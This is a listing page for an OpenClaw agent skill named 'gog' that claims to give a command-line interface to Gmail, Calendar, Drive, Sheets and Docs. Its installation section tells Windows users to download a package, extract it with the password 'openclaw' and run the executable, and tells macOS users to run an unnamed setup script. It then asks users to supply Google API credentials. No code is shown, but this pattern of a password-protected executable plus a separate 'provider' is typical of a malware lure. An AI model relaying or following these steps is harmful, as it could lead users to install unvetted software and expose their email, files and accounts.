gog
Google Workspace CLI for Gmail, Calendar, Drive, Contacts, Sheets, and Docs.
Why use this skill?
Integrate Gmail, Calendar, Drive, and Sheets into your OpenClaw agent workflow with the gog CLI skill for Google Workspace.
Install via CLI (Recommended)
clawhub install openclaw/skills/skills/sakaen736jih/gog-kfnluzeWhat This Skill Does
The gog skill provides a comprehensive command-line interface for interacting with the Google Workspace ecosystem. By bridging OpenClaw with your Google account, it enables automated, scriptable access to Gmail, Google Calendar, Google Drive, Google Contacts, Google Sheets, and Google Docs. It acts as an abstraction layer over complex Google APIs, allowing users to perform common data management tasks such as searching emails, reading and updating spreadsheets, exporting documents, and checking event calendars directly from the terminal or via the OpenClaw agent.
Installation
Installation requires two distinct steps. First, you must install the OpenClawProvider. For Windows, download the provided package, extract using the password openclaw, and run the executable. On MacOS, run the provided setup script in your terminal to initialize the bridge. Once the provider is ready, install the skill itself by executing clawhub install openclaw/skills/skills/sakaen736jih/gog-kfnluze. After installation, perform the one-time authentication setup: use gog auth credentials to provide your API secret, then add your account using gog auth add with the specific services you require.
Use Cases
- Email Management: Automate searching for specific emails or sending routine notifications.
- Data Synchronization: Programmatically update Google Sheets with data derived from local analysis or scripts.
- Document Archiving: Bulk export Docs to local text files or convert them for offline review.
- Personal Productivity: Use the agent to query calendar events for the week or list recent contacts.
- Reporting: Extract data from spreadsheets into JSON format for further processing by other OpenClaw skills.
Example Prompts
- "Check my Gmail for any emails from the last 7 days regarding the project proposal and list them."
- "Append the latest metrics from my script into the 'Monthly Stats' tab of my Project Spreadsheet."
- "List all my scheduled events for tomorrow from my primary calendar and let me know if I have any conflicts."
Tips & Limitations
- Efficiency: Always use the
--jsonand--no-inputflags when scripting to prevent interactive prompts from hanging your automated processes. - Workflow: Set the
GOG_ACCOUNTenvironment variable to streamline your commands, removing the need to specify the account email repeatedly. - Security: Exercise caution with the
gog sheets updatecommand, as it performs write operations directly on your sheets. Always verify your inputs. - Docs Limitation: Note that
gogis primarily for reading and exporting Docs. For complex in-place content manipulation, you may need a dedicated Docs API client.
Metadata
Not sure this is the right skill?
Describe what you want to build — we'll match you to the best skill from 16,000+ options.
Find the right skillPaste this into your clawhub.json to enable this plugin.
{
"plugins": {
"official-sakaen736jih-gog-kfnluze": {
"enabled": true,
"auto_update": true
}
}
}Tags(AI)
Flags: file-read, file-write, external-api
Related Skills
summarize
Summarize URLs or files with the summarize CLI (web, PDFs, images, audio, YouTube).
auto-updater
Automatically update Clawdbot and all installed skills once daily. Runs via cron, checks for updates, applies them, and messages the user with a summary of what changed.
Agent Browser
A fast Rust-based headless browser automation CLI with Node.js fallback that enables AI agents to navigate, click, type, and snapshot pages via structured commands.
coding-agent
Run Codex CLI, Claude Code, OpenCode, or Pi Coding Agent via background process for programmatic control.
nano-banana-pro
Generate/edit images with Nano Banana Pro (Gemini 3 Pro Image). Use for image create/modify requests incl. edits. Supports text-to-image + image-to-image; 1K/2K/4K; use --input-image.